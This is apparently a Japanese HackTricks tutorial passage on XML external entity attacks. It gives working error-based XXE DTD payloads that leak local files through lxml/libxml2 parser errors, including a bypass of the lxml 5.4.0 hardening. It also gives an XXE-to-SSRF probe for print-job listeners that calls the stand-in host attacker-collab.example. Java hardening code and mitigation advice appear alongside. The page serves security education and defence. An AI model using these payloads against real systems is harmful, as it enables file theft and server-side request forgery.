[!INFO] Pythonライブラリ lxml は内部で libxml2 を使用しています。 lxml 5.4.0 / libxml2 2.13.8 より前のバージョンは、resolve_entities=False の場合でも parameter エンティティを展開し続け、アプリケーションが load_dtd=True および/または resolve_entities=True を有効にするとアクセス可能になります。 これにより、ローカルファイルの内容をパーサーエラーメッセージに埋め込むエラーに基づく XXE ペイロードが可能になります。

1. lxml < 5.4.0 の悪用

1. 未定義 パラメータエンティティ (例: %config_hex;) を定義する ローカル DTD をディスク上で特定または作成します。
2. 内部 DTD を作成します:

• <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd"> でローカル DTD を読み込みます。
• 未定義エンティティを再定義して、次のようにします:

• 対象ファイルを読み取ります (<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">)。
• %flag; 値を含む 無効なパス を参照する別のパラメータエンティティを構築し、パーサーエラーをトリガーします (<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">)。

3. 最後に %local_dtd; と %eval; を展開して、パーサーが %error; に遭遇し、/aaa/<FLAG> を開けずに失敗し、スローされた例外内にフラグを漏洩させます – これはしばしばアプリケーションによってユーザーに返されます。

<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>

アプリケーションが例外を出力すると、レスポンスには次の内容が含まれます:

Error : failed to load external entity "file:///aaa/FLAG{secret}"

Tip

パーサーが内部サブセット内の%/&文字について文句を言う場合、それらを二重エンコードします（% ⇒ %）以降の展開を遅らせるために。

2. lxml 5.4.0のハードニングを回避する（libxml2は依然として脆弱）

lxml ≥ 5.4.0は上記のようなerrorパラメータエンティティを禁止していますが、libxml2はそれらをgeneralエンティティに埋め込むことを依然として許可しています。トリックは次の通りです：

1. ファイルをパラメータエンティティ%fileに読み込みます。
2. non-existent protocol（存在しないプロトコル）を使用するgeneralエンティティcを構築する別のパラメータエンティティを宣言します。例えばmeow://%file;のように。
3. XMLボディに&c;を配置します。パーサーがmeow://…を逆参照しようとすると失敗し、エラーメッセージにファイルの内容を含む完全なURIが反映されます。

<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>

主なポイント

• パラメータエンティティは、resolve_entitiesがXXEをブロックすべきであっても、libxml2によって依然として展開されます。
• 無効なURIまたは存在しないファイルは、制御されたデータをスローされた例外に連結するのに十分です。
• この技術は外部接続なしで機能し、厳格に出口フィルタリングされた環境に最適です。

緩和ガイダンス

• lxml ≥ 5.4.0にアップグレードし、基盤となるlibxml2が**≥ 2.13.8**であることを確認してください。
• 絶対に必要でない限り、load_dtdおよび/またはresolve_entitiesを無効にしてください。
• クライアントに生のパーサーエラーを返さないようにしてください。

Java DocumentBuilderFactoryの強化例

Javaアプリケーションは、DocumentBuilderFactoryを使用してXMLを頻繁に解析します。デフォルトでは、ファクトリーは外部エンティティの解決を許可しており、追加の強化フラグが設定されていない場合、XXEやSSRFに対して脆弱です。

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone

セキュアな構成の例:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);

// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

DocumentBuilder builder = dbf.newDocumentBuilder();

アプリケーションが内部でDTDをサポートする必要がある場合、disallow-doctype-declを無効のままにし、常に2つのexternal-*-entities機能をfalseに設定しておいてください。この組み合わせにより、古典的なファイル開示ペイロード（file:///etc/passwd）やネットワークベースのSSRFベクター（http://169.254.169.254/…、jar:プロトコルなど）を防ぐことができます。

実際のケーススタディ: CVE-2025-27136は、Java S3エミュレーターLocalS3で上記の脆弱なコンストラクターを使用しました。認証されていない攻撃者は、CreateBucketConfigurationエンドポイントに細工されたXMLボディを提供し、サーバーがHTTPレスポンスにローカルファイル（例えば/etc/passwd）を埋め込むことを可能にしました。

JMF/印刷オーケストレーションサービスにおけるXXE → SSRF

一部の印刷ワークフロー/オーケストレーションプラットフォームは、XMLをTCP経由で受け入れるネットワーク向けのジョブメッセージフォーマット（JMF）リスナーを公開しています。基盤となるパーサーがDOCTYPEを受け入れ、外部エンティティを解決する場合、古典的なXXEを利用してサーバーに外部リクエスト（SSRF）を強制させたり、ローカルリソースにアクセスさせたりすることができます。

実際に観察された重要なポイント:

• 専用ポート（一般的にXerox FreeFlow Coreでは4004）でのネットワークリスナー（例: JMFクライアント）。
• disallow-doctype-declやエンティティ解決が無効のままのjar内でのJavaベースのXMLパース（例: jmfclient.jar）。
• アウトオブバンドコールバックが確実にエクスプロイトを確認します。

最小限のJMFスタイルのSSRFプローブ（構造は製品によって異なりますが、DOCTYPEが重要です）：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>

ノート:

• エンティティのURLをコラボレーターに置き換えます。SSRFが可能な場合、サーバーはメッセージを解析する際にそれを解決します。
• 確認すべきハードニング: disallow-doctype-decl=true, external-general-entities=false, external-parameter-entities=false。
• JMFポートがファイルを提供しない場合でも、SSRFは内部の再調査やlocalhostにバインドされた管理APIに到達するためにチェーンできます。

このベクターに関する参考文献はページの最後にリストされています。

参考文献

• OffSec Blog – CVE-2025-27136 LocalS3 XXE

• https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf

• https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html

• 自分の外部DTDを使用してHTTP経由で情報を抽出: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection

• https://gist.github.com/staaldraad/01415b990939494879b4

• https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9

• https://portswigger.net/web-security/xxe

• https://gosecure.github.io/xxe-workshop/#7

• Dojo CTF Challenge #42 – Hex Color Palette XXE write-up

• lxml bug #2107279 – Parameter-entity XXE still possible

• Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)

• Xerox FreeFlow Core Security Guide (architecture/ports)

• Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。